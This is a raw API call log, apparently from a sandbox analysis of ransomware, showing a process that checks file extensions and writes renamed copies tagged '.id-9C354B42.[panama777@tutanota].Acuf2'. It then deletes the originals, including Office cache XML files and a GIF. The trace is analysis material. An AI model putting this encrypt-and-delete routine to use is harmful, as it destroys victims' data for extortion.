	[0039.452] lstrlenW (lpString=".rar") returned 4
	[0039.452] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.452] lstrlenW (lpString=".bz2") returned 4
	[0039.452] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.452] lstrlenW (lpString=".7z") returned 3
	[0039.452] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0039.452] lstrlenW (lpString=".dbf") returned 4
	[0039.452] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0039.452] lstrlenW (lpString=".1cd") returned 4
	[0039.452] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0039.452] lstrlenW (lpString=".jpg") returned 4
	[0039.452] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.452] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0039.452] lstrlenW (lpString="AccessMUISet.xml") returned 16
	[0039.452] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0039.453] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=819) returned 1
	[0039.453] CloseHandle (hObject=0x19c) returned 1
	[0039.453] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020
	[0039.453] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0039.453] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0039.453] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.453] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.453] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c
	[0039.454] GetLastError () returned 0x0
	[0039.454] ReadFile (in: hFile=0x19c, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x333, lpOverlapped=0x0) returned 1
	[0039.516] WriteFile (in: hFile=0x17c, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x340, lpOverlapped=0x0) returned 1
	[0039.517] ReadFile (in: hFile=0x19c, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0039.517] WriteFile (in: hFile=0x17c, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0039.517] SetEndOfFile (hFile=0x17c) returned 1
	[0039.517] CloseHandle (hObject=0x17c) returned 1
	[0039.519] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.519] SetEndOfFile (hFile=0x19c) returned 1
	[0039.527] CloseHandle (hObject=0x19c) returned 1
	[0039.527] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0039.528] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 1
	[0039.528] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0039.528] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0039.528] lstrlenW (lpString=".doc") returned 4
	[0039.528] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.528] lstrlenW (lpString=".docx") returned 5
	[0039.528] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0039.528] lstrlenW (lpString=".pdf") returned 4
	[0039.528] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.528] lstrlenW (lpString=".xls") returned 4
	[0039.528] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.528] lstrlenW (lpString=".xlsx") returned 5
	[0039.528] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0039.528] lstrlenW (lpString=".ppt") returned 4
	[0039.528] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.528] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0039.528] lstrlenW (lpString=".zip") returned 4
	[0039.528] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.528] lstrlenW (lpString=".rar") returned 4
	[0039.528] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.528] lstrlenW (lpString=".bz2") returned 4
	[0039.529] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.529] lstrlenW (lpString=".7z") returned 3
	[0039.529] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.529] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0039.529] lstrlenW (lpString=".dbf") returned 4
	[0039.529] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.529] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0039.529] lstrlenW (lpString=".1cd") returned 4
	[0039.529] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.529] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0039.529] lstrlenW (lpString=".jpg") returned 4
	[0039.529] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.529] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0039.529] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0039.529] lstrlenW (lpString=".doc") returned 4
	[0039.529] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.529] lstrlenW (lpString=".docx") returned 5
	[0039.529] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0039.529] lstrlenW (lpString=".pdf") returned 4
	[0039.529] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.529] lstrlenW (lpString=".xls") returned 4
	[0039.529] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.529] lstrlenW (lpString=".xlsx") returned 5
	[0039.529] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0039.529] lstrlenW (lpString=".ppt") returned 4
	[0039.529] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.529] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0039.529] lstrlenW (lpString=".zip") returned 4
	[0039.529] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.529] lstrlenW (lpString=".rar") returned 4
	[0039.529] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.530] lstrlenW (lpString=".bz2") returned 4
	[0039.530] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.530] lstrlenW (lpString=".7z") returned 3
	[0039.530] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.530] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0039.530] lstrlenW (lpString=".dbf") returned 4
	[0039.530] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.530] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0039.530] lstrlenW (lpString=".1cd") returned 4
	[0039.530] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.530] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79
	[0039.530] lstrlenW (lpString=".jpg") returned 4
	[0039.530] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.530] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0039.530] lstrlenW (lpString="ProPlusrWW.xml") returned 14
	[0039.530] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0039.561] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=16852) returned 1
	[0039.571] CloseHandle (hObject=0x19c) returned 1
	[0039.571] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020
	[0039.571] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0039.572] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0039.572] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.572] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.572] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c
	[0039.572] GetLastError () returned 0x0
	[0039.572] ReadFile (in: hFile=0x19c, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x41d4, lpOverlapped=0x0) returned 1
	[0039.929] WriteFile (in: hFile=0x17c, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x41e0, lpOverlapped=0x0) returned 1
	[0039.931] ReadFile (in: hFile=0x19c, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0039.931] WriteFile (in: hFile=0x17c, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0039.931] SetEndOfFile (hFile=0x17c) returned 1
	[0039.931] CloseHandle (hObject=0x17c) returned 1
	[0039.932] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.932] SetEndOfFile (hFile=0x19c) returned 1
	[0039.933] CloseHandle (hObject=0x19c) returned 1
	[0039.933] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0039.933] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 1
	[0039.933] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0039.933] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0039.933] lstrlenW (lpString=".doc") returned 4
	[0039.933] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.933] lstrlenW (lpString=".docx") returned 5
	[0039.933] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1
	[0039.933] lstrlenW (lpString=".pdf") returned 4
	[0039.933] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.933] lstrlenW (lpString=".xls") returned 4
	[0039.933] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.933] lstrlenW (lpString=".xlsx") returned 5
	[0039.933] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1
	[0039.934] lstrlenW (lpString=".ppt") returned 4
	[0039.934] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0039.934] lstrlenW (lpString=".zip") returned 4
	[0039.934] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.934] lstrlenW (lpString=".rar") returned 4
	[0039.934] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.934] lstrlenW (lpString=".bz2") returned 4
	[0039.934] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.934] lstrlenW (lpString=".7z") returned 3
	[0039.934] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0039.934] lstrlenW (lpString=".dbf") returned 4
	[0039.934] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0039.934] lstrlenW (lpString=".1cd") returned 4
	[0039.934] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0039.934] lstrlenW (lpString=".jpg") returned 4
	[0039.934] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0039.934] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0039.934] lstrlenW (lpString=".doc") returned 4
	[0039.934] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.934] lstrlenW (lpString=".docx") returned 5
	[0039.934] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1
	[0039.934] lstrlenW (lpString=".pdf") returned 4
	[0039.934] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.934] lstrlenW (lpString=".xls") returned 4
	[0039.934] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.934] lstrlenW (lpString=".xlsx") returned 5
	[0039.935] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1
	[0039.935] lstrlenW (lpString=".ppt") returned 4
	[0039.935] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0039.935] lstrlenW (lpString=".zip") returned 4
	[0039.935] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.935] lstrlenW (lpString=".rar") returned 4
	[0039.935] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.935] lstrlenW (lpString=".bz2") returned 4
	[0039.935] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.935] lstrlenW (lpString=".7z") returned 3
	[0039.935] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0039.935] lstrlenW (lpString=".dbf") returned 4
	[0039.935] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0039.935] lstrlenW (lpString=".1cd") returned 4
	[0039.935] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.935] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77
	[0039.935] lstrlenW (lpString=".jpg") returned 4
	[0039.935] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.935] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0039.935] lstrlenW (lpString="MS.GIF") returned 6
	[0039.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0040.083] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=1069) returned 1
	[0040.083] CloseHandle (hObject=0x190) returned 1
	[0040.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20
	[0040.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0040.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0040.083] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0040.083] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0040.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c
	[0040.084] GetLastError () returned 0x0
	[0040.084] ReadFile (in: hFile=0x190, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x42d, lpOverlapped=0x0) returned 1
	[0040.085] WriteFile (in: hFile=0x17c, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x430, lpOverlapped=0x0) returned 1
	[0040.086] ReadFile (in: hFile=0x190, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0040.086] WriteFile (in: hFile=0x17c, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0040.086] SetEndOfFile (hFile=0x17c) returned 1
	[0040.087] CloseHandle (hObject=0x17c) returned 1
	[0040.087] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0040.087] SetEndOfFile (hFile=0x190) returned 1
	[0040.088] CloseHandle (hObject=0x190) returned 1
	[0040.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0040.088] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 1
	[0040.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61
	[0040.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61
	[0040.089] lstrlenW (lpString=".doc") returned 4
	[0040.089] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0040.089] lstrlenW (lpString=".docx") returned 5
	[0040.089] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1
	[0040.089] lstrlenW (lpString=".pdf") returned 4
	[0040.089] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0040.089] lstrlenW (lpString=".xls") returned 4
	[0040.089] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0040.089] lstrlenW (lpString=".xlsx") returned 5
	[0040.089] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1
	[0040.089] lstrlenW (lpString=".ppt") returned 4
	[0040.089] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0040.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61
	[0040.089] lstrlenW (lpString=".zip") returned 4
	[0040.089] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0040.089] lstrlenW (lpString=".rar") returned 4
	[0040.089] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0040.089] lstrlenW (lpString=".bz2") returned 4
	[0040.089] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0040.089] lstrlenW (lpString=".7z") returned 3
	[0040.089] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0040.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61
	[0040.089] lstrlenW (lpString=".dbf") returned 4
	[0040.089] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0040.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61
	[0040.089] lstrlenW (lpString=".1cd") returned 4
	[0040.089] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0040.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61
	[0040.090] lstrlenW (lpString=".jpg") returned 4
	[0040.090] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0040.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61
	[0040.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61
	[0040.090] lstrlenW (lpString=".doc") returned 4
	[0040.090] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0040.090] lstrlenW (lpString=".docx") returned 5
	[0040.090] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1
	[0040.090] lstrlenW (lpString=".pdf") returned 4
	[0040.090] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0040.090] lstrlenW (lpString=".xls") returned 4
	[0040.090] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
